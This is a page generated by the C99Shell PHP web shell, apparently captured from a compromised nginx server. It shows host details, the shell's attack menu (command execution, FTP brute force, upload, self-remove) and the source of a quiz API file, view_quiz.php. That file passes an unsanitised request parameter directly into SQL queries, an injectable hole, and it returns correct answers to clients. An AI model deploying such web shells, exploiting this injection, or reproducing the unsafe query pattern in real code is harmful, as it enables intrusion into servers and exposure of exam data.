!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/api/   drwxrwxr-x
Free 39.79 GB of 48.28 GB (82.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     view_quiz.php (2.39 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
require("connection.php");
 
$post['status']="error";
 
$exam_id=$_REQUEST['exam_id'];




   
$r=$con->query("select count(*) from `online_test` where exam_id='$exam_id' ");
$ro=$r->fetch_assoc();

   
$result1=$con->query("select * from `exam` where exam_id='$exam_id' ");
$count1=$result1->num_rows;
if(
$count1>0)
{
  
$row2=$result1->fetch_assoc();
  
$sub=$row2['subject'];
  
$re=$con->query("select * from `semester_subject` where subject='$sub' ");
$roe=$re->fetch_assoc();
    
$data[] =array(
                    
"exam_id"=>$row2['exam_id'],
                    
"batch_id" => $row2['batch_id'],
                    
"semester" => $row2['semester'],
                    
"subject"   => $row2['subject'],
                    
"faculty_id"=>$row2['faculty_id'],
                    
"exam_title"=>$row2['exam_title'],
                    
"question_count"=> $ro['count(*)'],
                    
"subject_image"=>$roe['file']
                                  ); 
}

  
$result=$con->query("select * from `online_test` where exam_id='$exam_id' ");
$count=$result->num_rows;
if(
$count>0)
{
 
// $row1=$result->fetch_assoc();
  

    // $data[] =array(
    //                 "test_id"=>$row1['test_id'],
    //                 "batch_id" => $row1['batch_id'],
    //                 "semester" => $row1['semester'],
    //                 "subject"   => $row1['subject'],
    //                 "faculty_id"=>$row1['faculty_id']
    //                               );  
while($row=$result->fetch_assoc())
{
    
$correct=$row['correct_answer'];
                  
// $data[] =array(
                  //     "test_id"=>$row['test_id'],
                  //   "batch_id" => $row['batch_id'],
                  //   "semester" => $row['semester'],
                  //   "subject"   => $row['subject'],
                  //   "faculty_id"=>$row['faculty_id']
                  //                 );  
                                  
$data1[] =array(
                    
"question"=>$row['question'],
                    
"a" => $row['a'],
                    
"b" => $row['b'],
                    
"c"   => $row['c'],
                    
"d"=>$row['d'],"Correct_answer"=>$correct

                                  
);  

$post = array("status"=>"success","Quiz_details"=>$data,"Question"=>$data1);


}
}
 else {
    
$post['status']="fail";
}


echo(
json_encode($post));

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0058 ]--